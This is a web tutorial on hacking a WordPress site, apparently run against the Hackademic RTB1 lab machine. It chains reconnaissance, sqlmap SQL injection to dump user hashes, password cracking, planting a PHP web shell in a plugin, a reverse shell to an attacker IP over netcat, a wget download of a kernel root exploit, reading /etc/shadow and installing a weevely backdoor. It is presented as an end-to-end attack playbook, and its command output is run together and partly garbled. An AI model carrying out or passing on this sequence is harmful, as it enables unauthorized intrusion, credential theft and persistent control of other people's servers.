How to easy hack a wordpress site or blog

The answer to this question may be difficult to determine, simply because there are so many ways to hack a site. Our aim in this article to show you the techniques most used by hackers in targeting and hacking your site! Let’s suppose that this is your site: hack-test.com

Let’s ping this site to get the server IP:

Now we have 173.236.138.113 – this is the server IP where our target site is hosted. To find other sites hosted on the same server, we will use sameip.org:

Twenty-six other websites are hosted on this server [173.236.138.113]. Many hackers will target all other sites on the same server in order to hack your site. But for the purpose of study, we will target your site only and put aside hacking the other sites on same server. We’ll need more information about your site, such as:

  1. DNS records (A, NS, TXT, MX and SOA)
  2. Web Server Type (Apache, IIS, Tomcat)
  3. Registrar (the company that owns your domain)
  4. Your name, address, email and phone
  5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
  6. Your server OS (Unix,Linux,Windows,Solaris)
  7. Your server open ports to internet (80, 443, 21, etc.)

Let’s start with finding your site’s DNS records. We will use the website “Who.is” to achieve this:

We have discovered that your site DNS records are: HACK-TEST.COM DNS RECORDS

Record Type TTL Priority Content
hack-test.com A 4 hours 173.236.138.113 ()
hack-test.com SOA 4 hours ns1.dreamhost.com. hostmaster.dreamhost.com. 2011032301 15283 1800 1814400 14400
hack-test.com NS 4 hours ns1.dreamhost.com
hack-test.com NS 4 hours ns3.dreamhost.com
hack-test.com NS 4 hours ns2.dreamhost.com
www.hack-test.com A 4 hours 173.236.138.113 ()

Let’s determine the web server type:

As you see, your site web server is Apache. We will determine its version later.HACK-TEST.COM SITE INFORMATION IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 

 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 

 1 Month: 2.0 3 Month: 3.7Now it is time to find your Doman Registrar and your name, address, email and phone:

We have now got your registrar and other vital information about you. We can find the type of scripts on your site (the OS type, web server version) by using a cool tool in backtrack 5 R1 called Whatweb:

Now we found that your site is using a famous php script called WordPress, that your server os is Fedora Linux and that your web server version is (apache 2.2.15), let’s find open ports in your server. To do this, we will use nmap: 1 – Find services that run on server?

01 02 03 04 05 06 07 08 09 10 11 12 13 14[email protected]:/# nmap -sV hack-test.com   Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.0013s latency).

  2 – Find server OS?

Please report any incorrect results at http://nmap.org/submit/ .   Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

Only port 80 is open and OS is Linux 2.6.22(Fedora Core 6) Now that we have gathered all the important information about your site, let’s scan it for vulnerabilities like Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF, and so forth. We will use Nikto.pl to gather info, perhaps, some vulnerabilities:?

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26[email protected]:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com   - Nikto v2.1.4   ---------------------------------------------------------------------------   + Target IP: 192.168.1.2 + Target Hostname: hack-test.com + Target Port: 80 + Start Time: 2011-12-29 06:50:03   ---------------------------------------------------------------------------   + Server: Apache/2.2.15 (Fedora) + ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b + Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17).

We will also use W3AF. You can find this tool in backtrack 5 R1?

01 02 03 04 05 06 07 08 09 10 11 12 13 14[email protected]:/pentest/web/w3af# ./w3af_gui   Starting w3af, running on: Python version: 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) [GCC 4.4.3] GTK version: 2.20.1 PyGTK version: 2.17.0     w3af - Web Application Attack and Audit Framework Version: 1.2 Revision: 4605 Author: Andres Riancho and the w3af team.

We will insert our site URL and choose full audit option:

After some time, the scan will finish and you will see

Your site is vulnerable to sql injection, xss and others! Let’s investigate the sql injection vulnerability:

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220 This is the vulnerable url and cat is the vulnerable parameter. So, let’s exploit this vulnerability:

We will find that exploitating this vuln failed, so we will use sqlmap to the job and dump all database information that we need to hack this site J   Using sqlmap with –u url

After some seconds you will see

Type n and press enter to continue

As you see your site is vulnerable to error-based sql injection and your mysql database version is 5 Let’s find all databases in your site by adding “–dbs ”

Now we found 3 databases

We will dump wordpress database tables by adding “–D wordpress –tables ”

We will find all wordpress tables

We want to dump “wp_users” table, so we will find all users (admin?) information (user is and password hash) and try to crack hash and enter wordpress control panel ( wp-admin) We will columns of “wp_users” table by adding “-T wp_users –columns ”

We will find 22 columns

We just need to dump to columns, so we will dump (user_login and user_pass ) columns by adding -C user_login,user_pass –dump We will find important information; we found now users and pass hashes

but we want to crack those hashes to clear text passwords. We will use the online site “http://www.onlinehashcrack.com/free-hash-reverse.php” And try to crack this hash 7CBB3252BA6B7E9C422FAC5334D22054

And clear text password is q1w2e3 And user name is “GeorgeMiller” We will login with these details in “wp-admin ”

And we are in!

Ok let’s try to upload php web shell to run some linux commands on your site server J We will edit a plugin in wordpress called “Textile ” or any plugin you found in plugins page.

And choose to edit it

We will insert php web shell instead of real plugin. After we’ve done this, we will hit “update file” and browse to our new php shell

Woo, the php shell works. Now we can manipulate your site files, but we want only to get root on your server and hack all other sites too. We will choose “back-connect “tab from php web shell and make back connection to our ip “192.168.1.6″ on port “5555″

But before we hit connect, we first make netcat listen on port “5555″ on our attacker machine

Now hit connect and you will see:

  Let’s try some linux commands?

01 02 03 04 05 06 07 08 09 10 11id   uid=48(apache) gid=489(apache) groups=489(apache)   pwd   /var/www/html/Hackademic_RTB1/wp-content/plugins   uname -a   Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

Id command is used to show us what user id, group. pwd command is used to show us our current path on server uname –a command is used to show us some information about kernel version   Ok, now we knew that server kernel version is 2.6.31.5-127.fc12.1686 Let’s search in exploit-db.com for exploit to this version or newer version We will type “kernel 2.6.31 ”

After I tried all of them on your server, none of them worked, but then I tried a new exploit

Date D A V Description Plat. Author
2010-10-19 Linux RDS Protocol Local Privilege Escalation 9977 linux Dan Rosenberg

http://www.exploit-db.com/exploits/15285 I opened this url and copied this link http://www.exploit-db.com/download/15285 And made this command on my netcat shell?

01 02 03 04 05 06 07 08 09 10 11 12 13wget http://www.exploit-db.com/download/15285 -O roro.c --2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285 Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111 Connecting to www.exploit-db.com|199.27.135.111|:80... connected.

We used wget command to fetch exploit from exploit-db.com and used –O to rename it to roro.c Note: linux kernel exploits mostly is being delopped in c language so we saved it in .c extension, just view exploit source and you will find

#include

{
 
int s, ret;
struct sockaddr_in addr;
 
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
 
if(s < 0) {
printf(“[*] Could not open socket.n”);
exit(-1);
}
 
memset(&addr, 0, sizeof(addr));

All the above lines indicate that this is exploit is written in C language After we saved our exploit on server, we will compile it to elf format by typing gcc roro.c –o roro

And run our exploit by typing?

And after that we type Id We will find that we are root J uid=0(root) gid=0(root)

We can now view /etc/shadow file?

We can crack all users passwords with the “john the ripper” tool. But we will not do this; we want to maintain access on this server so we can come to visit/hack it any time J   We will use weevely to a small and encoded php backdoor with the password protected and upload this php backdoor to our server. Let’s do it 1 – weevely usage options :?
